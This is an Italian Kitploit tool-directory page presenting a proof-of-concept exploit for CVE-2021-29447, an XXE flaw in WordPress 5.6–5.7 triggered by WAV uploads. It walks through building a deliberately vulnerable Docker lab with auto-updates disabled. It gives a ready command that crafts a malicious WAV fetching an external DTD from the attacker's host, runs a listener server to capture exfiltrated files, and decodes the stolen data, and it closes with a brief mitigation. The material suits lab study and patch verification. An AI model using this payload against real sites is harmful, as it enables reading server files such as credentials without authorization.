Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-29447-PoC — Proof-of-concept exploit per CVE-2021-29447, una vulnerabilità di iniezione XXE in WordPress 5.6–5.7 tramite il caricamento di un file WAV dannoso, che consente la divulgazione arbitraria di file su PHP 8.0+. | Kitploit
Strumenti/GitHubGitHub/rdana55/cve-2021-29447-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

Proof-of-concept exploit per CVE-2021-29447, una vulnerabilità di iniezione XXE in WordPress 5.6–5.7 tramite il caricamento di un file WAV dannoso, che consente la divulgazione arbitraria di file su PHP 8.0+.

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-29447-PoC

Panoramica

CVE-2021-29447 è una vulnerabilità di iniezione XXE (XML External Entity) che interessa le versioni di WordPress 5.6–5.7 (corretta nella 5.7.1) quando è in esecuzione PHP 8.0+. La vulnerabilità risiede nella libreria getID3 utilizzata per l'analisi dei metadati multimediali.

WordPress elabora i chunk iXML dei file WAV tramite getID3, che invoca simplexml_load_string() con il flag LIBXML_NOENT. Questo flag abilita esplicitamente la sostituzione di entità esterne, bypassando le protezioni XXE predefinite di PHP 8 (deprecata libxml_disable_entity_loader()).

  1. Un utente autenticato (Autore+) carica un WAV malevolo
  2. getID3 → chunk iXML → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. Recupero DTD esterno → wrapper PHP data:// → Divulgazione arbitraria di file

Setup del Proof-of-Concept

Questo PoC dimostra la vulnerabilità utilizzando WordPress 5.7 + PHP 8.0.3 in Docker. Gli utenti Linux possono utilizzare uno script a file singolo che genera anche i file WAV/DTD.

▶️: https://youtu.be/YnGowuWHFyY

Prerequisiti e configurazione dell'ambiente

  1. Installa Docker Desktop su host Windows

  2. Crea una directory di progetto dedicata (tutti i comandi PowerShell vengono eseguiti qui):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. Distribuisci WordPress vulnerabile:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    Copia e incolla il contenuto di docker-compose.yml

  4. Avvia i container:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. Disabilita gli aggiornamenti automatici (critico per la persistenza della vulnerabilità):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. Verifica le versioni vulnerabili:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    Previsto: WordPress 5.7, PHP 8.0+

  7. Installazione di WordPress:

    Naviga su: http://localhost:8080

    Amministratore: test / test / [email protected]

    Completa la configurazione → Accedi a /wp-admin

  8. Scoperta dell'IP dell'attaccante:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    Annota il tuo IP (es. 192.168.1.196)

Generazione del payload di exploit

  1. Crea il payload DTD:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    Copia e incolla il contenuto di evil.dtd

  2. Genera il payload WAV (CLI Linux):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    Trasferisci tramite python3 -m http.server 8000 → download dal browser Windows (es. http://<VM_IP>:8000)

    Nota: WAV creato separatamente a causa della complessità dell'escape binario in ambienti Windows

  3. Distribuisci il server di exploit:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    Copia e incolla il contenuto di exploit.py

    Comando:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

Sfruttamento

  1. Attiva XXE:

    http://localhost:8080/wp-admin → Media → Aggiungi nuovo

    Carica payload.wav

  2. Monitora la console del server Python -> cattura i dati esfiltrati

  3. Decodifica il payload Base64+Zlib:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

Mitigazione

Aggiorna a WordPress 5.7.1+ o disabilita LIBXML_NOENT nell'analisi getID3.

Scarica lo strumento